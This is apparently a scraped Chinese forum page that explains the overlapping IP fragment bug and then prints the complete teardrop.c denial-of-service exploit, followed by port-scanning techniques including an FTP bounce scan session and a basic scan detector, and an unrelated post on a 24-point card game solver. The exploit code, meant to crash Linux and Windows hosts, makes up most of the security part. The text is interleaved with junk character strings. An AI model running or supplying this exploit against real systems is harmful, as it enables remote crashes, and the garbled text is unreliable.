0 \5 k5 N" a& ?# Kcount += fp-&gt;len;% @  t8 }$ f1 ?8 E9 f
fp = fp-&gt;next;2 z9 }9 h/ O1 h3 v: r7 \
}
6 v3 H+ |& I# P1 R, F2 w* m. |8 V这里只检查了长度过大的情况,而没有考虑长度过小的情况,
% |1 ?4 k0 u: ], |如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:2 O8 h& Y( x$ n: m- e, R
end = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的)/ W" Q, v+ R& A" B5 [! G0 [
是这样处理的:
2 X% n8 T4 q5 Rif (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
0 m; u) T- K  l# w* Q1 i{" Z( \! J# M2 V- P6 C! d9 G
i = prev-&gt;end - offset;. D+ `  _2 u6 [3 ~
offset += i; /* ptr into datagram */: X3 C0 H* Q, Y+ H- ^
ptr += i; /* ptr into fragment data */
; ~3 O: ^& d" ~' Q& X% `}</P><P>/* Fill in the structure. */# K  Y' P$ z7 Q4 z9 X4 [
fp-&gt;offset = offset;8 W( o. s+ I, e5 J9 v
fp-&gt;end = end;, w2 ^- y1 q! N9 X: ]# ^- Q# H
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
: T+ [" u  n! f5 c第一个碎片:mf=1 offset=0 payload=20
$ W/ @9 _8 u0 ~1 Q, _1 e, f/ K敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 7 N/ f! x2 u* I# }7 U' W2 u
offset=0
) I/ ?  M1 U% p5 [0 J0 m$ Z这样第二个碎片的 end=9+10=19  o( F0 c+ M" z! t/ R
offset=offset+(20-offset)=20! ?3 b- X; r) |8 {7 a* O5 v
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
1 [& a* z8 [4 j/*  b$ e, ?- v5 K: H9 j/ j* W/ W
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
, J0 s' \! @4 L% J, }* k*3 [% C2 u! `$ r3 E
* Linux/NT/95 Overlap frag bug exploit# L$ P) p9 V$ O; M' l
*
! o$ E" d+ S8 b2 ^- K( S. S# h* Exploits the overlapping IP fragment bug present in all Linux kernels and
. q: v8 h8 z! M0 [. Y' i" P* NT 4.0 / Windows 95 (others?), A; j: w, s6 N8 K* ]
*
, h) w! g; k4 V; {; K2 A* Based off of: flip.c by klepto
2 L9 f& q  o+ g/ I6 L* Compiles on: Linux, *BSD*, L7 |, B6 q% D' n/ {/ e9 y
*
$ ^& P9 a/ x& A+ }' Y# m' F* gcc -O2 teardrop.c -o teardrop
, i4 ~, _3 N# s, r* OR% i6 c0 o9 L" e6 v7 B
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING* @' a! r' {2 M: C/ E4 _+ R8 z
*/</P><P>#include <STDIO.H>
# _/ O7 D1 A7 u0 k% i#include <STDLIB.H>& C( U5 a' G8 I0 V
#include <UNISTD.H>
$ k5 L  b: }4 T  ~$ ^2 J. a#include <STRING.H>: }8 x. @7 s& T; Y1 p
#include <NETDB.H>
5 X  H) \$ W8 U#include <NETINET in.h>
+ H5 C% K6 b$ U0 X#include <NETINET udp.h>! l2 s  ^+ j# a; b/ Q( N
#include <ARPA inet.h>
' H- c6 w0 }! @! n#include <SYS types.h>% U# r* {" \% {6 c0 f: z
#include <SYS time.h>+ i1 [  w. X; J% t- W7 ]
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING: {6 v& j. m( [0 e! m
/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */4 J5 W" l( R/ I3 n% h  m
#define FIX(n) (n)
( m- V3 m) b1 S$ Q1 X( ?4 J#else /* OpenBSD 2.1, all Linux */
+ W7 J$ `  u2 ^#define FIX(n) htons(n)
8 w% Z; |9 R7 \+ D8 E4 X" {$ ]#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
! \% K4 k! c) [0 K* |#define IPH 0x14 /* IP header size */
3 }7 M. `/ _4 t#define UDPH 0x8 /* UDP header size */
4 n0 |/ Q7 p6 G7 f2 t#define PADDING 0x1c /* datagram frame padding for first packet */$ q5 [9 `! V  M, l
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */8 ~* \( i1 p% u/ \9 v* E( J
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can$ p" r" n  |" T8 i/ ]
* withstand maybe 5 or 10 sometimes... Experiment.) m" x8 i+ K/ |+ n( w4 q
*/</P><P>void usage(u_char *);4 v9 r' K% o: |, ^' z
u_long name_resolve(u_char *);! n5 a2 ?/ o  S' O4 J4 J0 ?, a
u_short in_cksum(u_short *, int);4 n) k7 B2 S; b0 n
void send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)- ~3 o, j5 r* h& l
{# P& o+ c7 o0 f2 d4 u
int one = 1, 5 f, A+ D, O  ~! s. b3 U
count = 0,
: O. G0 w2 G* ]i,
% U: Q9 E" e* }* z$ f$ drip_sock;
* x! ?! ?: f/ K! }! zu_long src_ip = 0, dst_ip = 0;% P3 o0 w7 Z9 w9 i. i  b0 M
u_short src_prt = 0, dst_prt = 0;$ D6 `% y2 A+ |7 E3 @! M
struct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW
' t9 r' e( n& w  n6 Q1 cif((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
1 H- N7 R# X7 w# _( k% _{
. k* K' F8 N0 k$ L& Jperror("raw socket");. n" ~' f7 V. k- z9 B; S, u1 M' G
exit(1);1 w- g# i: Q' @( `" h6 o
}
# [: E# h0 s& ^  T% a% D//由系统处理IP校验和。
( b" V: ~. H! h) d8 Lif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))5 u+ W; G$ k: a+ ^4 N5 S
&lt; 0). Z5 Z- I+ `6 O4 F! `; h6 s
{
- d0 s- H# y' s# i5 |+ Y: Qperror("IP_HDRINCL");
! ~/ B( G- Z( j& V) z% O$ C2 Aexit(1);
' S0 x: V; G( t" f! b0 j" @}</P><P>if (argc &lt; 3) usage(argv[0]);
6 }- e5 ^7 Q- _& }) ]2 T. A3 R" mif (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))" J  K' u1 g+ v5 a: j: u
{7 j) N7 a% p6 X1 Q! N" e2 h
fprintf(stderr, "What the hell kind of IP address is that?\n");" |7 K2 k8 V- d$ D" n+ ^0 \
exit(1);- }1 F% u: @* ^
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
: e3 U- ?! l# j1 U% K" A{
/ R6 K1 F$ f$ @switch (i)6 X+ m* z4 ]6 W7 t8 D! `# Z
{
* M- q" G( ^2 R& pcase 's': /* source port (should be emphemeral) */
: M# @  c0 U, `8 `src_prt = (u_short)atoi(optarg);& s* w& N5 x" v+ v
break;% q6 B3 N! D3 x/ Z
case 't': /* dest port (DNS, anyone?) */; G" [% Q5 l: C* |; Z
dst_prt = (u_short)atoi(optarg);
& P( P# `2 q/ m% `/ y4 j  ubreak;; P5 J* K, j7 u" d
case 'n': /* number to send */) Z% _: s+ S- e/ t& f
count = atoi(optarg);) y, d1 j8 h5 T1 d) T/ ]/ x
break;
- R; [+ t! d, P0 O+ R$ G; |6 ~* cdefault :
( ]2 x) Q- Z' M9 P6 f7 F- rusage(argv[0]);
, [8 b7 ~. }+ `8 l/ f- ubreak; /* NOTREACHED */
: u* \$ P: e0 ^+ y) C" w}8 l2 F! u# O- M! o' T
}</P><P>srandom((unsigned)(time((time_t)0)));5 }/ _; i& w/ D. R7 b! b" o+ h
if (!src_prt) src_prt = (random() % 0xffff);
1 z% I8 G. p, S$ c  |' x7 j3 x$ o; S! Bif (!dst_prt) dst_prt = (random() % 0xffff);
( m5 z6 G- Y6 T, i& iif (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
: E9 u  ~8 o: k! P: z$ Haddr.s_addr = src_ip;
$ ^; Q6 ~0 ^% b: k# p/ P  `fprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);
" K( n  ^: ^9 o, A5 Xaddr.s_addr = dst_ip;/ v, e; @" [& j8 m- Y' T
fprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);# c) y6 @% }' ]9 R8 L
fprintf(stderr, " Amt: %5d\n", count);
& O2 _! o' d5 g* s6 _$ sfprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
3 |0 Y& U3 D; T: ~! k- N{; w5 t4 j( L6 V7 H2 b% }7 t9 X
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
% {" Z2 H" J) h# [2 o( qfprintf(stderr, "b00m ");
. W4 V- O3 ~$ b. }usleep(500);
) |1 n8 }* X; @7 S# P; v, E! [" X}
  v) U. ~' k. y( v' o0 F; Mfprintf(stderr, "]\n");+ d9 Z8 q: ]! m; Y/ g8 P, w
return (0);3 S" H1 o% o  N
}</P><P>/*
, ~0 D; Z) P, J2 V6 ~* Send two IP fragments with pathological offsets. We use an implementation
+ ?8 ^* v+ o/ D1 v. j* independent way of assembling network packets that does not rely on any of
$ [4 h; t7 t  ?/ w% N2 s$ I' O' B* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
6 Q4 h9 x6 }, ]*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,( z! e$ g7 M0 L8 f- X# f5 U
u_short dst_prt)
9 t, Q9 b5 W" ]  v7 n  i. s) A{* F5 i- a  P+ g3 S2 v, i9 D
u_char *packet = NULL, *p_ptr = NULL; /* packet pointers */2 E$ S& F/ K. P! J" [- N2 _
u_char byte; /* a byte */
0 L1 k- b8 _& ~$ Lstruct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;* F; p; e1 b( v! ~# Q+ |
sin.sin_port = src_prt;
6 q8 W8 h$ S# B; v" usin.sin_addr.s_addr = dst_ip;</P><P>/*
, D2 o3 {. J6 {* f7 }* Grab some memory for our packet, align p_ptr to point at the beginning
8 I' l, B) S7 n' c* of our packet, and then fill it with zeros.
4 f3 J5 j3 N% s9 }*/
; k- |6 @1 e% W8 M3 }/ mpacket = (u_char *)malloc(IPH + UDPH + PADDING);' d/ d& m; F" {
p_ptr = packet;
6 g) Y1 r* i! i6 q, a+ w# Pbzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */( Q3 k' q( I  l
memcpy(p_ptr, &amp;byte, sizeof(u_char));
3 S# j$ I& D. Hp_ptr += 2; /* IP TOS (skipped) */
$ g$ q" V1 ^: e, g& p" T$ `*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
9 x9 I* o$ |# T& t( D' a% vp_ptr += 2;% K1 l, A3 e& k. A
*((u_short *)p_ptr) = htons(242); /* IP id */
- g0 p% _9 G- Dp_ptr += 2;; }; E; J+ @* W, L1 [
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */. m& ^0 I: y- }
p_ptr += 2;2 X1 G1 @2 n, M3 o* G3 w( C. W
*((u_short *)p_ptr) = 0x40; /* IP TTL */' f, w: g" A6 @, r# ^# {
byte = IPPROTO_UDP;0 n1 M8 h' D; {& J/ `* y
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));5 S) O  [% Z2 {/ b  \  Y+ A5 u0 s
p_ptr += 4; /* IP checksum filled in by kernel */
* v* \3 I& w) f) p0 h*((u_long *)p_ptr) = src_ip; /* IP source address */2 p- j( b5 g; y( `
p_ptr += 4;6 S" V: u9 |$ E
*((u_long *)p_ptr) = dst_ip; /* IP destination address */$ ~" \. _# a/ d  i" g" W5 k  w% W
p_ptr += 4;
0 L( S- v3 Q( [5 ^7 k5 S8 b8 j*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */5 t! e( F9 n8 j3 X7 ]
p_ptr += 2;' L0 |2 O1 m) N
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */1 l, t; X& D# o/ P, p2 |: E
p_ptr += 2;
6 ]5 Q: A: u! q; v2 T*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,) c. u! Z% B- o( U4 K2 G- Y2 j$ M/ Y
sizeof(struct sockaddr)) == -1)
% D% A7 @* A+ B5 g  u7 j' n: L{  K& Y. _( X: r
perror("\nsendto");
* _9 R5 a7 ]; J( Kfree(packet);( s( h  ^1 W* ?! E# L$ T
exit(1);2 J5 C/ U. ]; }4 l, N( p# d. v
}</P><P>/* We set the fragment offset to be inside of the previous packet's# C* i  g; n9 l
* payload (it overlaps inside the previous packet) but do not include
% B) T- d1 Q. U9 ?* enough payload to cover complete the datagram. Just the header will
) {) w0 T. i, O) J3 ]* do, but to crash NT/95 machines, a bit larger of packet seems to work$ q% ~: z. c' O% l1 M
* better.
$ c1 v8 b8 F/ g6 c1 i' ]*/
4 S2 p  G* k; W0 R( dp_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header *// [( v: D+ ?9 ?3 ~7 h
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
2 G) @3 ^& d$ _9 `% a  Yp_ptr += 4; /* IP offset is 6 bytes into the header */
- B7 t7 U0 g4 D) N2 j( ?*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,0 e  r9 i: h( {* {
sizeof(struct sockaddr)) == -1)& ^2 q, M9 H. k! C: l
{( Z6 ?6 W: {( \/ B+ M  X
perror("\nsendto");
2 ]3 ~0 e3 w9 {. }5 Ofree(packet);% n: n7 ?# z" V6 L5 N% V7 P
exit(1);
& y/ _. ?- X9 I" J6 M$ o}
% `+ u; v1 k8 hfree(packet);
9 N# e9 v' N2 Z5 }7 c/ H3 `- y}</P><P>u_long name_resolve(u_char *host_name)6 w: v+ k8 q5 M3 m( |- I# H
{
( H( I, a) H; _3 qstruct in_addr addr;) h3 c1 h4 b& [
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)0 r# x6 {! S  }7 q) a
{4 q. a9 C. c0 o
if (!(host_ent = gethostbyname(host_name))) return (0);
2 V, @* d- R; O8 ?" u6 [bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);3 j% k$ [/ R8 V( @+ u
}
- q1 K; s8 K, X2 z, preturn (addr.s_addr);. g' W, H3 a) D+ D
}</P><P>void usage(u_char *name)
$ w  \0 U" u  E1 a) _2 K{
2 r+ l4 c6 p6 A4 \fprintf(stderr,6 ]" K. M. Q" J) k  x+ c
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",
5 C  i( C. Z, `6 H  b$ A+ s7 K1 rname);/ K! @7 l4 w6 a! m" L+ v# T/ h
exit(0);
7 c; B8 W; i. n: J6 L2 H3 i- X}</P><P>
! b/ _6 e! i5 L& A  F4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
" U$ ^4 |+ ~) T# l; q% P6 a7 I(1) Half-open(半打开)1 V" G( O& J3 a( A3 ^( `
利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
$ }' U! M' c% K! j, g2 }如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner
# I; D% C$ q6 A( j利用了FTP的port命令,例如可以这样作:+ J* g9 y/ {/ P2 f; z
选择一个FTP服务器,连上后令port命令指向目标机,如果返回
: }* p. ~1 v" z; k1 t6 G! ^9 r3 m值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
- t5 C' E. K4 x8 j3 t该端口无服务。+ v, E# s# L+ N7 M$ m  T9 v8 t
telnet 192.168.1.13 21
! ]" @$ b" Q& m3 OTrying 192.168.1.13...) X* R+ N* S0 v- p$ Q1 p
Connected to pp.bricks.org.
9 ?7 Q, X- ]1 D" \7 Y0 MEscape character is '^]'.
1 c& m2 v! @, o8 v3 D220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
- U: B# h7 S9 S# e0 e: R. b# LThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous
, n; w% X+ D( S& S- H: Z3 v331 Guest login ok, send your complete e-mail address as password.
; ~: G0 P9 |9 _2 p4 ?# v: lpass aa@aa.aa6 H5 D, W9 K& K+ u
230 Guest login ok, access restrictions apply.0 [, |! q2 _. C9 C% ]! Z
port a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
2 e3 T6 Q8 \" q% U( O! i5 s425 Can't build data connection: Connection refused.3 z2 p5 s8 M3 e, l
//该端口未活动
7 B0 O+ o/ h% c150 Opening ASCII mode data connection for file list.
( h, v9 u/ T: T226 Transfer complete.9 }* u3 z8 I; B, E) W# G
//该端口活动中
. x. z6 W5 H) T. Y但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing
! a& ]! y2 m; t8 |SYN|FIN ACK or SYN|ACK* RST1 Y. B; d. P0 c& L( u- T, T
ACK Nothing RST% d4 y2 D+ M/ E5 g' b3 R, {$ S- o
0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport( q0 x- p9 n) \& c! j& ~
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,
, `1 K" \- v' w" o若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认
) X5 n+ R: |' k% e$ w4 B定它在向你做portscan。</P><P>notes:8 }* s( G/ {. Q
早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),
0 M) l6 n: D- o$ B  H而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的
) y: X3 a8 j/ b& @$ `0 {' p  S; i都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
  l1 n' T% H6 X  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。  J8 f, X- |, `) |% V9 i
' n2 W5 H; L: T/ X! T) C7 O
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。 " I* G* j& D/ B. {% K( `
首先穷举的可行性问题。我把表达式如下分成三类——" L8 _4 o( T4 h; z& {6 A
<FONT color=#ff0000>1、 无括号的简单表达式。
# w4 `5 m- b9 {' y4 Y8 U* V( z2、 有一个括号的简单表达式。+ i2 ]3 p  p! x" ^/ _/ v0 X( y$ S. ^2 y" S
3、 有两个括号的较复4、 杂表达式。# E6 ~7 x  m3 G# q
</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:' i/ ~: {9 H/ W1 M) c0 H0 ~
<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */
6 q; M/ B# ~# i/* c[] 存放四张牌的数组 */
0 w  Y: E( d( b/* k[] c[]种四张牌的代号,其中k[I]=I+1。
+ T8 \" E8 Z: W# O用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */
0 f- ^0 O3 O3 [/* kans[] 暂存生成的排列组合 */
5 u: e, c- K4 J" ~  |0 U- I9 m$ T' N/* j 嵌套循环的次数 */  a  J# N' N6 U$ Z) B) ]
int fans(c,k,ans,kans,j). n* {" O  z, p
int j,k[],c[];char ans[],kans[];
$ }0 @8 c" D) ^( y{ int i,p,q,r,h,flag,s[4],t[4][4];& U+ ^3 z- Y0 R6 d
for(p=0,q=0;p&lt;4;p++)1 X; R( `9 U" L" r4 u& J/ f# F
{ for(r=0,flag=0;r<J;R++)
9 D! `; o; x0 } if(k[p]!=kans[r]) flag++;7 @/ Q0 K8 B: @( p# I8 ^* }9 u
if(flag==j) t[j][q++]=k[p];- j. O1 a1 i) C! |3 A
}
; X3 a4 ^. a1 G! Bfor(s[j]=0;s[j]&lt;4-j;s[j]++)
. ~- S# d2 r: x1 U8 x4 a% B: K{ kans[j]=t[j][s[j]];
1 @, E2 P( d2 |7 K/ _* iif(j==3) { for(h=0;h&lt;4;h++)
3 m1 r4 K/ Q. C% N3 o0 ?: L$ Ians[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表) D' n1 o( m0 v) w0 Z5 f8 p/ Z$ `! W
达式中的位置 */
, H/ a9 E" _8 nfor(h=0;h&lt;3;h++)/ t7 _' g. a5 {- g6 Y
symbol(ans,h); /* 在表达式中添加运算符号 */
) `. K5 ^: N0 w9 l5 I; u* ~5 R}
0 v. u2 I5 ^. {9 t1 W/ Xelse { j++;0 U! H4 z+ J: Z. J2 o
fans(c,k,ans,kans,j);
- s" u. \, G, }. cj--;, A; P: E/ O* ~, b" r4 V
}
! n* i5 M# B3 X$ o1 @" S}8 w1 R: Y8 b1 ~- w
}</FONT>
, f- }) @/ J5 r+ n5 L) r* E
# Z% |, H3 h) q  j  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:
+ Q- Q" c* s' V/ u/ S
$ z7 d  c, e/ B! [4 @( t<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/
7 D5 @$ Q+ A3 m4 a) bint sans(ans,sy,j,h)
* H& b  M' r: k1 c4 t1 |% Hchar ans[],sy[];int j,h;
- w: ^) w* _; a8 ?1 C4 }! n{ int i,p,k[3],m,n; char ktans[20];5 z) T' ?: Z% B1 I
for(k[j]=0;k[j]&lt;4;k[j]++)
5 P/ W. l! @- W& \2 \, q{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位& D6 p; a8 Z' s8 {" a
这里的三个运算符号分别存放在1、3、5位*/ ( A: ~$ H% q: K: [! B* {- O
if(j==2)
6 Z3 H2 W7 H6 N{ ans[5]=sy[k[j]];& O. @9 y6 b' f* G' [
/* 此处根据不同的表达式形式再进行相应的处理 */
, ~# y3 Q; [8 ^3 f) M}
+ ]9 ?( y! j0 W! Xelse { j++; sans(ans,sy,j--,h); }
$ R+ r# e) t1 I) ~}
9 G1 C! N  K( l0 B9 `/ l}
. E1 }& e  U+ k
8 R; x- }" |$ h/ F! D2 X! U+ \3 P</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。! }6 ?: P# G! X, p4 s" A' a/ N
for(m=0;m&lt;=4;m+=2)" v6 B; E) l- z0 H2 j$ x/ h7 t
for(n=m+4;n&lt;=8;n+=2): h* d* {! v  l* t* E- K3 C7 Y' S
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。, m2 e; m1 a3 P$ w) R5 J, l1 C

9 v" e. ?& p2 v* G  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。+ V, {1 Y) j5 X/ p4 h
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。$ \& k( k; T6 U* c! ~( ^! E# G
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。
' A8 r( G9 J! G/ E
/ Q6 `# u5 i" ], [) T( z- c  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。
0 ^+ g3 g) {- [. K( ]  n; N$ w& O: n: a1 X6 V
  那么作为栈的著名应用,表达式的计算可以有两种方法。
9 r1 q2 Q1 V# H1 M; _) W% i- {( ^" t5 `3 [& |7 k5 `% c/ A* l( T
  <FONT color=#ff0000>第一种方法——</FONT>2 \# s- v' _! W1 c) ~; I+ d
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
+ t& P, E8 d- ^& j$ `' W  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
( \" j& W& ?) t& Y- l: ]; a0 ?1、 若W为操作数
9 l' W% f" c) B' K) X2、 则将W压入操作数栈OVS4 }( G* k  i) ?7 ]( U* z* O
3、 且继续扫描下一个字符
/ r: }1 h  A( Y" l, \7 O% D$ D4、 若W为运算符  J7 P; s5 I+ [+ c) j2 s
5、 则根据运算符的性质做相应的处理:
" H2 t7 c5 ]' U. ~- _4 Q3 N(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。
' T1 J* R4 h& A, Y5 ~(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。) j' n$ A7 }- D  T* Q
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。
+ r) S" k* ~: }  c(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。
) Q3 R# w7 z3 j1 \% @# c& X  O  F6 Y: c) \' L
<FONT color=#ff0000>  第二种方法——</FONT>% u8 {  G8 b5 ?$ I9 p6 C) {' A
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
! N; k0 Z' h- i+ [2 o$ p6 h" x1 M/ a' o
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。9 i  g7 H) C7 [  C

0 P% j2 N* r& a* ]. i# ^7 D4 d( b% }* i. G   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。
3 O, P" T8 s, s; O- R0 ~& ^表达式 波兰表达式$ U$ X. r1 A$ k; w
A-B AB-
6 X8 ?2 i: c) {- _: Y* p" c2 C(A-B)*C+D AB-C*D+7 ~! \* T: u, t% d/ V" W
A*(B+C/D)-E*F ABCD/+*EF*-/ j; ]6 c2 g; f1 \
(B+C)/(A-D) BC+AD-/
6 m( i" c, j& l; ]0 k3 Y6 ~# l% r, c: s
( O: ~8 M- [/ ]( _. t2 m  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。) `$ \: \/ O8 l9 }3 U5 |! W( T
0 }  U/ V5 m4 V+ ]+ z
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。4 c' r9 l3 b1 p' ^) L5 G

